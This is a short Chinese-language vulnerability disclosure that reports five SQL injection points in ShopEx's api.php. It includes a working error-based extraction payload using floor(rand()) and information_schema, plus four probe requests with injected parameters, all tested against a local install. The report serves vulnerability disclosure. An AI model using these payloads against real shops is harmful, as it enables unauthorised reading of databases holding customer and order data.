### 简要描述：
不知道我有不有搞错，但已经尽量下载了最新版了。。。
在很多地方测试都存在。。。
ShopEx最新版多处SQL注射
### 详细说明：
我很怀疑自己是不是搞错呢。。。
注射1：
http://127.0.0.1:5656/shopex/api.php
POST
act=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#
注射2：
http://127.0.0.1:5656/shopex/api.php
act=add_category&api_version=3.1&datas={"name":"name' and 1=x %23"}
注射3：
http://127.0.0.1:5656/shopex/api.php
act=get_spec_single&api_version=3.1&spec_id=1 xxx
注射4：
http://127.0.0.1:5656/shopex/api.php
act=online_pay_center&api_version=1.0&order_id=1x&pay_id=1¤cy=1
注射5：
http://127.0.0.1:5656/shopex/api.php
act=search_dly_h_area&return_data=string&columns=xxxxx
### 漏洞证明：
[<img src="https://images.seebug.org/upload/201306/2015341538cd1117bd1ef1d50b665b62173072c0.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201306/2015341538cd1117bd1ef1d50b665b62173072c0.jpg)
[<img src="https://images.seebug.org/upload/201306/2015342483e9fe214eaf25237cd38e18507907b7.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201306/2015342483e9fe214eaf25237cd38e18507907b7.jpg)
[<img src="https://images.seebug.org/upload/201306/20153433c22f71fb7aa94e1f4d5cea88dab5fa61.jpg" alt="3.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201306/20153433c22f71fb7aa94e1f4d5cea88dab5fa61.jpg)
[<img src="https://images.seebug.org/upload/201306/20153446de448549d0ec43e27d0e38eb7032cb4b.jpg" alt="4.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201306/20153446de448549d0ec43e27d0e38eb7032cb4b.jpg)
[<img src="https://images.seebug.org/upload/201306/201534584afd9934db8e4f3da5e176a611ae01e6.jpg" alt="5.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201306/201534584afd9934db8e4f3da5e176a611ae01e6.jpg)
京ICP备10040895号
暂无评论